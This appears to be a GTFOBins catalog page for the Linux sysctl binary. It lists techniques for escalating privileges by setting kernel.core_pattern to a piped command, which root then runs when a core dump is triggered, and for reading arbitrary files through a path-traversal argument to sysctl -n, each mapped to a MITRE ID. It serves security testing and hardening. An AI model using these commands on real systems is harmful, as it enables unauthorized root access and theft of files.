CatalogGTFOBins

GTFO · Tool

sysctl

5 techniquesLinuxGTFOBinsGPL-3.0

command

ExecutionPrivilege EscalationLinux

The command is executed by `root` in the background when a core dump occurs. To trigger a core dump, send the `SIGQUIT` signal to a process, for example: ``` sleep infinity & kill -QUIT $! ```

sysctl 'kernel.core_pattern=|/path/to/command'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege EscalationLinux

The command is executed by `root` in the background when a core dump occurs. To trigger a core dump, send the `SIGQUIT` signal to a process, for example: ``` sleep infinity & kill -QUIT $! ```

sysctl 'kernel.core_pattern=|/path/to/command'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
command
MITRE
T1059

file-read

File ReadPrivilege EscalationLinux
sysctl -n "/../../path/to/input-file"
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux
sysctl -n "/../../path/to/input-file"
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux
sysctl -n "/../../path/to/input-file"
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005